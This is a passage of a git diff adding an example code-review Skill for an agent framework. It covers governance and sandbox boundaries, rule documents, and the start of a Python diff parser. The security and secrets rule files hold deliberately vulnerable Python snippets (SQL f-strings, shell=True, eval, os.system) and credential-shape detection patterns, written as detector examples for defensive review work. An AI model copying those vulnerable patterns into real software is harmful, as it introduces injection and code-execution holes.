"severity_distribution": { + "type": "object", + "additionalProperties": { + "type": "integer", + "minimum": 0 + } + }, + "category_distribution": { + "type": "object", + "additionalProperties": { + "type": "integer", + "minimum": 0 + } + }, + "error_type_distribution": { + "type": "object", + "additionalProperties": { + "type": "integer", + "minimum": 0 + } + }, + "runtime_type": { + "type": "string" + }, + "python_version": { + "type": "string" + }, + "platform": { + "type": "string" + } + } + }, + "finalConclusion": { + "type": "object", + "additionalProperties": false, + "required": [ + "summary", + "recommendations" + ], + "properties": { + "summary": { + "type": "string" + }, + "recommendations": { + "type": "array", + "items": { + "type": "string" + } + } + } + } + } +} diff --git a/examples/skills_code_review_agent/skills/code-review/SKILL.md b/examples/skills_code_review_agent/skills/code-review/SKILL.md new file mode 100644 index 000000000..cc4dea67a --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/SKILL.md @@ -0,0 +1,122 @@ +--- +name: code-review +description: Review Python diffs, PR patches, workspace changes, or file snapshots with deterministic security, secret, async, resource, database, and test-coverage rules. Use for evidence-first code review, governed sandbox checks, or when another agent needs structured findings instead of free-form LLM comments. +--- + +# Code review + +Run an evidence-first review: deterministic rules establish the findings; the +model may explain results but does not invent, remove, or reclassify them. The +host owns input acquisition, governance, sandbox execution, bucketing, +persistence, and report rendering. This Skill owns the review instructions, +manifest, rule reference, and standard-library scripts. + +## Inputs + +The host accepts one input form per review: + +- unified diff or PR patch; +- Git workspace changes; +- explicit file snapshots; +- a declared fixture payload. + +Preserve the caller's scope. Diff and tracked workspace changes use +`changed_lines`; explicit snapshots use `full_file`; deleted files use +`deleted_lines`. A snapshot has no inferred baseline. + +The registered entrypoints consume `work/inputs/diff.json` with this shape: + +```json +{ + "source_kind": "diff_file", + "diff": "" +} +``` + +`source_kind` may be `diff_file`, `repo_path`, or `fixture` for this payload. +Snapshot acquisition remains a host responsibility until the host has staged a +supported payload; do not convert snapshots into pretend historical diffs. + +## Review process + +1. **Establish scope.** Identify the single input form, normalize repository- + relative paths, and retain each file's declared review scope. Treat the raw + content as untrusted. + + **Complete when:** every input file has one normalized path and one explicit + scope, or input validation has returned a sanitized fatal error. + +2. **Pass the governance gate.** Always read + `references/security-boundaries.md` before staging or executing a script. + Resolve a declared `script_id` from `scripts/manifest.json`; verify its + entrypoint, SHA-256, argument schema, budget, network policy, runtime proof, + and workspace paths through the host Filter chain. + + **Complete when:** the decision is `ALLOW`, `DENY`, or + `NEEDS_HUMAN_REVIEW` and a sanitized Filter event exists. Only `ALLOW` + proceeds to execution. + +3. **Parse without exporting code.** Use `parse_diff` when a parse summary is + needed. Read `out/parsed.json` as metadata only: source, hash, counts, file + paths, status, scope, analysis mode, and warning count. + + **Complete when:** the summary is valid JSON and contains no diff lines or + environment values, or the parse failure has become a sanitized warning. + +4. **Run the deterministic checks.** Execute `run_checks` in the approved SDK + workspace with the manifest's 30-second and 1 MiB limits. Read only + `out/findings.json`; keep the sandbox output separate from host logs until + host-side redaction completes. + + **Complete when:** a valid findings payload exists, or timeout, nonzero exit, + truncation, and runtime errors have been recorded without host fallback. + +5. **Interpret against the rule contract.** For each returned category, read + its matching file under `rules/` before explaining the result. Read all six + rule files before making a coverage statement for a clean review. Say “no + supported rule matched” rather than claiming the code has no defects. + + **Complete when:** every finding maps to a documented rule ID, scope, + confidence, remediation, and blind spot; unsupported claims have been + removed. + +6. **Hand off structured evidence.** Preserve the required finding fields: + `severity`, `category`, `file`, `line`, `title`, `evidence`, + `recommendation`, `confidence`, and `source`. Preserve `rule_id` and + `line_side` when present. Apply host field redaction and the complete exit + scan before report or database persistence. + + **Complete when:** structured results and runtime warnings are sanitized, + deterministic, and ready for host deduplication, bucketing, reporting, and + audit storage. + +## Rule references + +Load references by result category: + +| Category | Context pointer | +|---|---| +| `security` | Read `rules/security.md` for supported dangerous-call syntax and AST limits. | +| `secrets` | Read `rules/secrets.md` for detector families, deleted-side behavior, and rotation guidance. | +| `async-errors` | Read `rules/async-errors.md` for async-scope and scheduling limits. | +| `resource-leak` | Read `rules/resource-leak.md` for same-hunk lifecycle semantics. | +| `db-lifecycle` | Read `rules/db-lifecycle.md` for connection and transaction semantics. | +| `missing-tests` | Read `rules/missing-tests.md` before interpreting the human-review candidate. | + +The Python implementations and secret pattern table live only in +`scripts/lib/`. Documentation explains that implementation; it does not define +a second rule engine. + +## Completion gate + +A review using this Skill is complete only when: + +- exactly one input form and its review scope are recorded; +- every attempted script has a Filter decision and manifest integrity check; +- non-`ALLOW` decisions have zero sandbox execution; +- sandbox output has been redacted, host fields have been redacted again, and + the complete exit scan has no plaintext hit; +- every reported finding has the nine required fields and a documented rule + contract; +- failures are present as sanitized data and no sandbox failure triggered host + rule execution. diff --git a/examples/skills_code_review_agent/skills/code-review/references/security-boundaries.md b/examples/skills_code_review_agent/skills/code-review/references/security-boundaries.md new file mode 100644 index 000000000..164d63231 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/references/security-boundaries.md @@ -0,0 +1,125 @@ +# Security boundaries + +Read this reference before staging or executing any code-review script. The +governance posture is fail-closed: missing proof becomes a Filter decision, not +an optimistic sandbox run. + +## Boundary map + +| Stage | Data allowed | Trust change | Allowed output | +|---|---|---|---| +| Host acquisition | raw diff, repository text, snapshots | untrusted input enters controlled task memory | `ChangeSet` plus sanitized warnings | +| Task staging | minimum files required for one registered script | controlled host to isolated workspace | staged input and hash-verified Skill files | +| Sandbox execution | staged input, constructed environment, registered entrypoint | isolated code processes untrusted content | bounded `parsed.json` or redacted `findings.json` | +| Host post-processing | sandbox artifacts after first redaction | untrusted output returns to host | field-redacted canonical objects | +| Persistence/reporting | complete object after exit scan | sanitized data crosses persistence boundary | report, database records, metrics, audit summaries | + +Raw content may exist only in controlled host memory, the task temporary +directory, and the isolated workspace. Store metadata and redacted evidence; +keep raw diffs, code lines, environment values, and absolute host paths out of +logs, telemetry, LLM input, reports, and databases. + +## Filter decision order + +Apply these checks before every sandbox run: + +1. Accept `script_id + structured_args`; reject unknown scripts and command + strings. +2. Resolve the entrypoint and argument schema from `scripts/manifest.json`; + reject unknown, repeated, malformed, overlong, or out-of-enum arguments. +3. Resolve the staged entrypoint real path inside the Skill root and compare + its SHA-256 with the manifest. +4. Resolve every input/output path inside the task workspace; reject absolute + host paths, parent traversal, symlink, junction, and reparse-point escape. +5. Require `requires_network=false` and the locked network policy `deny`. +6. Construct the environment from the allowlist and scan values for secret + patterns. +7. Preflight run count, per-run time/output, cumulative sandbox time/output, + and the remaining review deadline. +8. Scan the registered script for high-risk execution patterns as defense in + depth. +9. Verify runtime-specific network proof from the effective instance + configuration. + +`ALLOW` proceeds. `DENY` and `NEEDS_HUMAN_REVIEW` stop before sandbox creation, +produce zero execution side effects, and become sanitized Filter audit events. +A Filter review decision is separate from a finding's human-review bucket. + +## Runtime policy + +The network policy is deny for every registered script in this release. + +| Runtime | Decision rule | +|---|---| +| `container` | Production default. Allow only when the effective instance configuration proves `network_mode=none`; an override or missing proof is deny. | +| `cube` | Default deny because current SDK capabilities do not prove instance-level egress control. A user assertion is not machine-verifiable proof. | +| `local` | Allow only after explicit user or evaluation selection; add a warning that isolation and network denial cannot be enforced like a sandbox. | + +Runtime capability metadata describes what a backend may support; it is not +proof of the effective network state of this run. A sandbox failure stays a +sandbox failure and never triggers host-side rule execution. + +## Budgets and environment + +| Limit | Locked default | +|---|---:| +| sandbox runs per review | 10 | +| time per run | 30 seconds | +| cumulative sandbox time | 90 seconds | +| total review deadline | 110 seconds | +| output per run | 1 MiB | +| output per review | 2 MiB | + +Preflight budgets before execution. Runtime timeout and output truncation remain +defense-in-depth controls, not substitutes for admission control. + +Construct the environment instead of inheriting it. Allow only non-sensitive +locale and buffering variables such as `LANG`, `LC_ALL`, and +`PYTHONUNBUFFERED`; construct `PATH` and `PYTHONPATH` inside the sandbox; let the +runtime inject workspace directory variables. Keep model keys, credentials, +tokens, passwords, and all unrelated host variables outside the workspace. + +## Data handling + +Detection needs controlled access to original content, so preserve raw input +until deterministic secret detection completes. Protect every outward path in +this order: + +1. **Sandbox output redaction:** `run_checks.py` redacts finding text with the + same pattern table used for detection before writing `findings.json`. +2. **Host field redaction:** redact evidence, recommendations, Filter reasons, + stdout/stderr summaries, exceptions, and report fields after reading sandbox + output. +3. **Complete exit scan:** scan the full JSON, Markdown, database-bound object, + log capture, telemetry attributes, and audit summaries before persistence. + +A plaintext hit at the final gate blocks report/database persistence and marks +the task failed with a sanitized error code. Cleanup runs in `finally`; cleanup +failure adds a sanitized warning without exposing the task path. + +## Failure semantics + +| Event | Recorded result | Review outcome when a report remains possible | +|---|---|---| +| Filter `DENY` / `NEEDS_HUMAN_REVIEW` | Filter event plus blocked sandbox summary | `completed_with_warnings` | +| timeout | sandbox run with `timed_out=true` and error type | `completed_with_warnings` | +| nonzero exit or runtime error | sandbox run with sanitized stderr/error type | `completed_with_warnings` | +| output limit | sandbox run with truncation marker | `completed_with_warnings` | +| cleanup failure | warning with sanitized error type | `completed_with_warnings` | +| input parse, DB critical write, or report generation failure | fatal task error | `failed` | +| final plaintext scan hit | persistence blocked and sanitized fatal error | `failed` | + +## Completion checklist + +Before returning control to the review pipeline, verify all of the following: + +- the manifest entry and staged file hashes match; +- every staged path resolves inside the task workspace; +- the Filter decision occurred before runtime execution; +- the effective runtime policy has the required machine-verifiable proof; +- run and review budgets remain within their locked limits; +- the sandbox environment contains only constructed allowlisted values; +- sandbox output redaction, host field redaction, and complete exit scan all + completed; +- every failure is represented as sanitized data; +- task workspace cleanup was attempted in `finally`. diff --git a/examples/skills_code_review_agent/skills/code-review/rules/async-errors.md b/examples/skills_code_review_agent/skills/code-review/rules/async-errors.md new file mode 100644 index 000000000..c562c6118 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/rules/async-errors.md @@ -0,0 +1,50 @@ +# Async error rules + +## Detection contract + +| Rule ID | Reports when an added line inside a visible async function contains | Severity | Confidence | +|---|---|---:|---:| +| `async.blocking-time-sleep` | `time.sleep(...)` | high | 0.84 | +| `async.unawaited-coroutine` | `asyncio.sleep(...)` or a visible async function call without await/scheduling | medium | 0.76 | + +Scheduling recognized by the heuristic includes `create_task`, +`ensure_future`, and `gather` on the same code line. + +## Scope and confidence + +The detector follows indentation within each Python hunk. It learns async +function names from visible new-side hunk content, masks comments and strings, +and reports only added lines. The unawaited rule remains below the formal +finding threshold because lifecycle or scheduling may be established elsewhere. + +## Examples + +### Reports + +```python +async def refresh(): + time.sleep(1) + asyncio.sleep(1) +``` + +### Stays quiet + +```python +async def refresh(): + await asyncio.sleep(1) + task = asyncio.create_task(load_data()) + message = "time.sleep(1) would block here" +``` + +## Remediation + +Replace blocking waits with `await asyncio.sleep(...)` or move truly blocking +work to a controlled executor. Await a coroutine directly or schedule it with +explicit task ownership, cancellation, and exception handling. + +## Blind spots + +The heuristic does not build a control-flow graph. Decorators, aliases, +callbacks, returned coroutines, task groups, framework scheduling, and async +functions defined outside visible hunks are not modeled. It also cannot prove +that a created task is eventually awaited or inspected. diff --git a/examples/skills_code_review_agent/skills/code-review/rules/db-lifecycle.md b/examples/skills_code_review_agent/skills/code-review/rules/db-lifecycle.md new file mode 100644 index 000000000..346a94f49 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/rules/db-lifecycle.md @@ -0,0 +1,58 @@ +# Database lifecycle rules + +## Detection contract + +| Rule ID | Reports when an added assignment has no visible finalizer in the same hunk | Severity | Confidence | +|---|---|---:|---:| +| `db.connection-without-close` | a supported driver `.connect(...)` result lacks `.close()` | medium | 0.76 | +| `db.transaction-without-finalize` | `name = object.begin(...)` lacks `name.commit()` or `name.rollback()` | high | 0.82 | + +Supported connection prefixes are `sqlite3`, `psycopg`/`psycopg2`, `pymysql`, +`mysql.connector`, `mysql`, and `db`. + +## Scope and confidence + +The detector examines executable added Python lines, extracts a simple assigned +variable, and searches the same hunk for the matching finalizer. Connection +results stay in human review at confidence 0.76. An explicit transaction with +no visible outcome reaches formal findings at confidence 0.82. + +## Examples + +### Reports + +```python +connection = sqlite3.connect(path) +transaction = session.begin() +``` + +### Stays quiet + +```python +connection = sqlite3.connect(path) +try: + use(connection) +finally: + connection.close() + +transaction = session.begin() +try: + update() + transaction.commit() +except Exception: + transaction.rollback() + raise +``` + +## Remediation + +Prefer connection and transaction context managers. Otherwise close +connections in `finally`, commit only after success, and roll back every +failure path before propagating the error. + +## Blind spots + +Framework-managed sessions, dependency injection, wrapper factories, aliases, +nested transactions, async drivers, and lifecycle operations outside the hunk +are not modeled. A visible commit or rollback on one branch can suppress a +report without proving that every path is finalized. diff --git a/examples/skills_code_review_agent/skills/code-review/rules/missing-tests.md b/examples/skills_code_review_agent/skills/code-review/rules/missing-tests.md new file mode 100644 index 000000000..cb318e033 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/rules/missing-tests.md @@ -0,0 +1,45 @@ +# Missing-test rule + +## Detection contract + +| Rule ID | Reports when | Severity | Confidence | +|---|---|---:|---:| +| `tests.missing-coverage` | changed production Python exists and no changed Python test file exists in the change set | low | 0.65 | + +The rule emits at most one candidate, anchored to the first changed production +file and line in stable path order. + +## Scope and confidence + +A test path is a `.py` file under a `tests` directory, starts with `test_`, or +ends with `_test.py`. Deleted-only files, binary files, and test files are not +production candidates. Confidence 0.65 deliberately routes the result to +human review rather than formal findings. + +## Examples + +### Reports + +```text +src/service.py modified +``` + +### Stays quiet + +```text +src/service.py modified +tests/test_service.py modified +``` + +## Remediation + +Add or update a focused test that exercises the changed behavior. If existing +coverage is sufficient, record the relevant test and rationale during human +review rather than raising the candidate's confidence. + +## Blind spots + +The heuristic does not inspect test content, coverage data, generated tests, +non-Python test suites, unconventional repository layouts, or whether the test +change actually exercises the production change. A changed test file suppresses +the candidate even if that test is unrelated. diff --git a/examples/skills_code_review_agent/skills/code-review/rules/resource-leak.md b/examples/skills_code_review_agent/skills/code-review/rules/resource-leak.md new file mode 100644 index 000000000..4cf1c6350 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/rules/resource-leak.md @@ -0,0 +1,55 @@ +# Resource leak rules + +## Detection contract + +| Rule ID | Reports when an added assignment has no visible finalizer in the same hunk | Severity | Confidence | +|---|---|---:|---:| +| `resource.open-without-close` | `name = open(...)` without `name.close()` | medium | 0.74 | +| `resource.client-session-without-close` | `name = ClientSession(...)` without `name.close()` | medium | 0.78 | + +Both rules produce human-review candidates at the locked confidence boundaries. + +## Scope and confidence + +The detector examines executable new-side Python lines. It masks comments and +strings, extracts a simple assigned variable name, and searches visible lines +in the same hunk for that variable's `.close()` call. It does not infer a +finalizer from another hunk or file. + +## Examples + +### Reports + +```python +handle = open(path) +session = aiohttp.ClientSession() +``` + +### Stays quiet + +```python +handle = open(path) +try: + consume(handle) +finally: + handle.close() + +async with aiohttp.ClientSession() as session: + await consume(session) +``` + +The `async with` example stays quiet because it does not match the simple +assignment constructor. + +## Remediation + +Prefer `with open(...)` and `async with ClientSession(...)`. When a context +manager is unsuitable, finalize the resource on every path in `finally` and +make ownership transfer explicit. + +## Blind spots + +The rule does not model aliases, factory functions, reassignment, ownership +transfer, exception paths, or lifecycle code outside the hunk. Conversely, a +visible close in one branch can suppress a report even when another branch +leaks; treat this as a local structural signal, not lifecycle proof. diff --git a/examples/skills_code_review_agent/skills/code-review/rules/secrets.md b/examples/skills_code_review_agent/skills/code-review/rules/secrets.md new file mode 100644 index 000000000..74544adb7 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/rules/secrets.md @@ -0,0 +1,58 @@ +# Secret rules + +## Detection contract + +| Rule ID | Reports when text contains | Severity | Confidence | +|---|---|---:|---:| +| `secrets.` | a supported credential format or sensitive assignment | high | 0.91–0.96 | + +Supported families include major cloud and source-control tokens, private-key +headers, bearer/JWT credentials, database URLs with credentials, service API +keys, password/token/secret assignments, and high-entropy assigned values. The +same pattern table drives detection and `[REDACTED:]` replacement. + +## Scope and confidence + +Secrets are language-independent and apply to every text file, including +configuration formats. The detector scans new-side hunk content and deleted +old-side lines. A deleted credential retains its real old line number and +`line_side=old` because removal from the current file does not revoke exposure +from a patch or repository history. + +Recognized documentation placeholders are suppressed. Confidence varies by +pattern specificity; no matched secret value is returned by the detector API. + +## Examples + +### Reports + +```text +password = "" +Authorization: Bearer +-----BEGIN PRIVATE KEY----- +``` + +The examples describe shapes only. Tests construct synthetic credentials at +runtime so repository scanning and push protection never encounter a usable +literal. + +### Stays quiet + +```text +password = "changeme" +token = "your-token-here" +api_key = "[REDACTED]" +``` + +## Remediation + +Revoke and rotate the credential; removal alone is insufficient. Load the +replacement from a secret manager or protected environment injection, inspect +history and logs for exposure, and use the provider's incident guidance. + +## Blind spots + +Split strings, encoded or encrypted values, runtime-generated credentials, +custom formats, low-entropy secrets, and values fetched from external systems +may not match. Placeholder suppression can also hide a real credential that +was deliberately chosen to look like documentation text. diff --git a/examples/skills_code_review_agent/skills/code-review/rules/security.md b/examples/skills_code_review_agent/skills/code-review/rules/security.md new file mode 100644 index 000000000..39b198d9c --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/rules/security.md @@ -0,0 +1,75 @@ +# Security rules + +## Detection contract + +| Rule ID | Reports when changed Python code contains | Severity | Heuristic confidence | +|---|---|---:|---:| +| `security.sql-fstring` | an SQL keyword in an interpolated f-string | high | 0.82 | +| `security.sql-interpolation` | complete-file AST confirms SQL built with `+`, `.format()`, or `%` | high | AST only | +| `security.subprocess-shell-true` | a supported `subprocess` call with literal `shell=True` | high | 0.85 | +| `security.subprocess-shell-command` | `subprocess.getoutput/getstatusoutput`, which always invoke a shell | high | 0.85 | +| `security.dynamic-eval` | direct `eval`, `builtins.eval`, static `getattr(builtins, "eval")`, or an explicit import alias | critical | 0.85 where line-detectable | +| `security.dynamic-exec` | direct `exec`, `builtins.exec`, static `getattr(builtins, "exec")`, or an explicit import alias | critical | 0.85 where line-detectable | +| `security.os-system` | `os.system` or an explicit `from os import system` alias | high | 0.85 where line-detectable | +| `security.os-popen` | `os.popen` or an explicit import alias | high | 0.85 | + +When a complete syntax-valid Python file is available, the AST confirmation +rule reports these IDs at confidence 0.92. It resolves explicit module/import +aliases conservatively and stops when a parameter or assignment shadows the +name. Different detectors may therefore reach the same +`(file, line, category)`; host deduplication owns the final item. + +## Scope and confidence + +Heuristics inspect added new-side lines in `.py` files and mask ordinary +strings, comments, and triple-quoted text. SQL f-strings remain visible because +their interpolation is the behavior under review. AST analysis requires +`analysis_mode=ast_validated`; changed-line reviews report an AST node only when +its range intersects a changed line, while `full_file` snapshots may report any +line. Deleted Python code is outside this category. + +Confidence describes detector precision, not exploitability. Severity describes +the potential impact if attacker-controlled data reaches the construct. + +## Examples + +### Reports + +```python +query = f"SELECT * FROM users WHERE name = '{name}'" +query = "SELECT * FROM users WHERE id = " + user_id +subprocess.run(command, shell=True) +subprocess.getoutput(command) +result = eval(payload) +builtins.eval(payload) +exec(compiled_code) +os.system(command) +os.popen(command) +``` + +### Stays quiet + +```python +query = "SELECT * FROM users WHERE name = ?" +cursor.execute(query, (name,)) +subprocess.run(["tool", "--mode", mode], check=True) +client.getoutput(command) +message = "eval(payload) is forbidden in this project" +# os.system(command) +``` + +## Remediation + +Use parameterized SQL, argv-based subprocess calls with the shell disabled, +and an explicit allowlisted dispatcher or strict parser in place of dynamic +code execution. Validate untrusted values at the boundary even after replacing +the dangerous sink. + +## Blind spots + +These rules do not perform general taint tracking or authorization analysis. +Runtime alias assignments such as `evaluate = eval`, non-literal propagation +such as `shell=use_shell`, wrapper functions, dynamically assembled attribute +names, SQL assembled across multiple statements, and command injection inside +an otherwise argv-based tool may escape detection. A quiet review means only +that the supported syntax did not match. diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/__init__.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/__init__.py new file mode 100644 index 000000000..3a7319600 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/__init__.py @@ -0,0 +1,9 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Standard-library-only deterministic review engine.""" diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/diff_parser.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/diff_parser.py new file mode 100644 index 000000000..0a99ee9a1 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/diff_parser.py @@ -0,0 +1,592 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Unified diff domain parser. + +The module is intentionally standard-library only because the same source is +staged into an isolated workspace by the code-review Skill. +""" + +from __future__ import annotations + +import ast +import hashlib +import re +from dataclasses import dataclass, replace +from typing import Dict, List, Mapping, Tuple + + +_HUNK_HEADER = re.compile( + r"^@@ -(?P\d+)(?:,(?P\d+))? " + r"\+(?P\d+)(?:,(?P\d+))? @@" +) +_GIT_PATH_TOKEN = re.compile(r'"(?:\\.|[^"])*"|\S+') + + +@dataclass(frozen=True) +class Hunk: + """One unified-diff hunk with explicit old/new coordinates.""" + + old_start: int + old_count: int + new_start: int + new_count: int + context_lines: Dict[int, str] + added_lines: Dict[int, str] + deleted_lines: Dict[int, str] + old_to_new_line_map: Dict[int, int] + + +@dataclass(frozen=True) +class FileChange: + """A normalized file-level change.""" + + old_path: str + new_path: str + normalized_path: str + status: str + review_scope: str + is_binary: bool + hunks: Tuple[Hunk, ...] + old_changed_lines: Tuple[int, ...] + new_changed_lines: Tuple[int, ...] + full_text: str | None + analysis_mode: str + + +@dataclass(frozen=True) +class ChangeSet: + """Deterministic summary of one review input.""" + + source_kind: str + input_sha256: str + files: Tuple[FileChange, ...] + file_count: int + hunk_count: int + additions: int + deletions: int + parse_warnings: Tuple[str, ...] + + +def _normalize_path(path: str, *, strip_diff_prefix: bool = False) -> str: + """规范化 Git 路径并拒绝跨出受控工作区的组成部分。""" + + normalized = path.strip().replace("\\", "/") + if normalized in {"/dev/null", "dev/null"}: + return "/dev/null" + if strip_diff_prefix and normalized.startswith(("a/", "b/")): + normalized = normalized[2:] + while normalized.startswith("./"): + normalized = normalized[2:] + if ( + not normalized + or normalized.startswith("/") + or re.match(r"^[A-Za-z]:/", normalized) + or any(ord(character) < 32 or ord(character) == 127 for character in normalized) + ): + raise ValueError("diff path is outside the review namespace") + parts = normalized.split("/") + if any(part in {"", ".", ".."} for part in parts): + raise ValueError("diff path is outside the review namespace") + return "/".join(parts) + + +def _decode_git_path(path: str) -> str: + """解码 Git 头中可能带引号转义的单个路径标记。""" + + path = path.strip() + if len(path) >= 2 and path[0] == path[-1] == '"': + try: + decoded = ast.literal_eval(path) + except (SyntaxError, ValueError): + decoded = path[1:-1] + try: + return decoded.encode("latin-1").decode("utf-8") + except (UnicodeDecodeError, UnicodeEncodeError): + return decoded + return path + + +def _parse_git_header(line: str) -> Tuple[str, str]: + """解析 ``diff --git`` 文件头并返回旧、新侧路径。""" + + path_tokens = _GIT_PATH_TOKEN.findall(line[len("diff --git "):]) + if len(path_tokens) != 2: + raise ValueError("invalid git diff file header") + return ( + _normalize_path(_decode_git_path(path_tokens[0]), strip_diff_prefix=True), + _normalize_path(_decode_git_path(path_tokens[1]), strip_diff_prefix=True), + ) + + +def _parse_file_marker(line: str) -> str: + """解析 ``---`` 或 ``+++`` 标记中的规范化文件路径。""" + + marker_value = line[4:].split("\t", 1)[0] + return _normalize_path( + _decode_git_path(marker_value), + strip_diff_prefix=True, + ) + + +def _parse_hunk(lines: List[str], start: int) -> Tuple[Hunk, int, bool]: + """从给定索引解析一个 unified diff hunk 及其结束位置。""" + + match = _HUNK_HEADER.match(lines[start]) + if match is None: + raise ValueError("invalid unified diff hunk header") + + old_start = int(match.group("old_start")) + old_count = int(match.group("old_count") or "1") + new_start = int(match.group("new_start")) + new_count = int(match.group("new_count") or "1") + old_line = old_start + new_line = new_start + context_lines: Dict[int, str] = {} + added_lines: Dict[int, str] = {} + deleted_lines: Dict[int, str] = {} + old_to_new_line_map: Dict[int, int] = {} + new_side_missing_newline = False + last_content_in_new_side = False + + index = start + 1 + while ( + index < len(lines) + and ( + old_line - old_start < old_count + or new_line - new_start < new_count + ) + ): + line = lines[index] + if line == r"\ No newline at end of file": + if last_content_in_new_side: + new_side_missing_newline = True + index += 1 + continue + if line.startswith("+"): + added_lines[new_line] = line[1:] + new_line += 1 + new_side_missing_newline = False + last_content_in_new_side = True + elif line.startswith("-"): + deleted_lines[old_line] = line[1:] + old_line += 1 + last_content_in_new_side = False + elif line.startswith(" "): + context_lines[new_line] = line[1:] + old_to_new_line_map[old_line] = new_line + old_line += 1 + new_line += 1 + new_side_missing_newline = False + last_content_in_new_side = True + else: + raise ValueError("invalid unified diff hunk body") + index += 1 + + if ( + old_line - old_start != old_count + or new_line - new_start != new_count + ): + raise ValueError("unified diff hunk body does not match header counts") + if ( + index < len(lines) + and lines[index] == r"\ No newline at end of file" + ): + if last_content_in_new_side: + new_side_missing_newline = True + index += 1 + + return ( + Hunk( + old_start=old_start, + old_count=old_count, + new_start=new_start, + new_count=new_count, + context_lines=context_lines, + added_lines=added_lines, + deleted_lines=deleted_lines, + old_to_new_line_map=old_to_new_line_map, + ), + index, + new_side_missing_newline, + ) + + +def _reconstruct_added_file( + hunks: Tuple[Hunk, ...], + *, + final_line_missing_newline: bool, +) -> str | None: + """在新增文件所有内容可见时重建完整文本供 AST 使用。""" + + if not hunks: + return "" + + expected_new_line = 1 + reconstructed_lines: List[str] = [] + for hunk in hunks: + if ( + hunk.old_start != 0 + or hunk.old_count != 0 + or hunk.deleted_lines + or hunk.context_lines + or hunk.old_to_new_line_map + or hunk.new_start != expected_new_line + ): + return None + expected_numbers = tuple( + range(hunk.new_start, hunk.new_start + hunk.new_count) + ) + if tuple(hunk.added_lines) != expected_numbers: + return None + reconstructed_lines.extend(hunk.added_lines.values()) + expected_new_line += hunk.new_count + + full_text = "\n".join(reconstructed_lines) + if reconstructed_lines and not final_line_missing_newline: + full_text += "\n" + return full_text + + +def _analysis_mode(path: str, full_text: str | None) -> Tuple[str, str | None]: + """返回安全的分析模式及可选的脱敏解析告警。""" + + if full_text is None or not path.endswith(".py"): + return "diff_heuristic", None + try: + ast.parse(full_text) + except (SyntaxError, ValueError, RecursionError): + # Never expose a parser exception because it can include source text. + return "diff_heuristic", f"ast_parse_failed:{path}" + return "ast_validated", None + + +def build_snapshot_change_set( + file_contents: Mapping[str, str], + *, + source_kind: str = "files", +) -> ChangeSet: + """将显式文件快照构造成全文件范围的 ChangeSet。""" + + """Build a full-file ChangeSet from explicitly supplied text snapshots.""" + + if source_kind not in {"files", "fixture"}: + raise ValueError("source_kind must describe a snapshot input") + + normalized_files: Dict[str, str] = {} + for path, content in file_contents.items(): + normalized_path = _normalize_path(path) + if not normalized_path or normalized_path == "/dev/null": + raise ValueError("snapshot path must identify a file") + if normalized_path in normalized_files: + raise ValueError("snapshot paths must be unique after normalization") + normalized_files[normalized_path] = content + + hasher = hashlib.sha256() + hasher.update(b"code-review-snapshot-v1\0") + files: List[FileChange] = [] + parse_warnings: List[str] = [] + for normalized_path in sorted(normalized_files): + full_text = normalized_files[normalized_path] + path_bytes = normalized_path.encode("utf-8") + content_bytes = full_text.encode("utf-8") + hasher.update(len(path_bytes).to_bytes(8, "big")) + hasher.update(path_bytes) + hasher.update(len(content_bytes).to_bytes(8, "big")) + hasher.update(content_bytes) + + text_lines = full_text.splitlines() + if text_lines: + hunk = Hunk( + old_start=0, + old_count=0, + new_start=1, + new_count=len(text_lines), + context_lines={}, + added_lines={ + line_number: text + for line_number, text in enumerate(text_lines, start=1) + }, + deleted_lines={}, + old_to_new_line_map={}, + ) + hunks = (hunk,) + else: + hunks = () + + analysis_mode, parse_warning = _analysis_mode(normalized_path, full_text) + if parse_warning is not None: + parse_warnings.append(parse_warning) + files.append( + FileChange( + old_path="/dev/null", + new_path=normalized_path, + normalized_path=normalized_path, + status="snapshot", + review_scope="full_file", + is_binary=False, + hunks=hunks, + old_changed_lines=(), + new_changed_lines=tuple(range(1, len(text_lines) + 1)), + full_text=full_text, + analysis_mode=analysis_mode, + ) + ) + + return ChangeSet( + source_kind=source_kind, + input_sha256=hasher.hexdigest(), + files=tuple(files), + file_count=len(files), + hunk_count=sum(len(file_change.hunks) for file_change in files), + additions=sum( + len(file_change.new_changed_lines) for file_change in files + ), + deletions=0, + parse_warnings=tuple(parse_warnings), + ) + + +def restore_change_set_context( + change_set: ChangeSet, + *, + source_kind: str, + input_sha256: str, + full_files: Mapping[str, str], + file_metadata: Mapping[str, Mapping[str, object]], +) -> ChangeSet: + """恢复宿主已验证的完整文件上下文和输入语义,供沙箱 AST 规则使用。""" + + if source_kind not in {"diff_file", "repo_path", "files", "fixture"}: + raise ValueError("input source_kind is invalid") + if re.fullmatch(r"[0-9a-f]{64}", input_sha256) is None: + raise ValueError("input sha256 is invalid") + parsed_paths = {file_change.normalized_path for file_change in change_set.files} + if set(full_files) - parsed_paths or set(file_metadata) != parsed_paths: + raise ValueError("input file metadata does not match parsed files") + + allowed_statuses = { + "added", + "deleted", + "modified", + "renamed", + "snapshot", + } + allowed_scopes = { + "changed_lines", + "deleted_lines", + "full_file", + "skipped", + } + allowed_analysis_modes = { + "ast_validated", + "diff_heuristic", + "skipped", + } + restored_files: List[FileChange] = [] + parse_warnings = list(change_set.parse_warnings) + for file_change in change_set.files: + metadata = file_metadata[file_change.normalized_path] + status = metadata.get("status") + review_scope = metadata.get("review_scope") + analysis_mode = metadata.get("analysis_mode") + is_binary = metadata.get("is_binary") + if ( + status not in allowed_statuses + 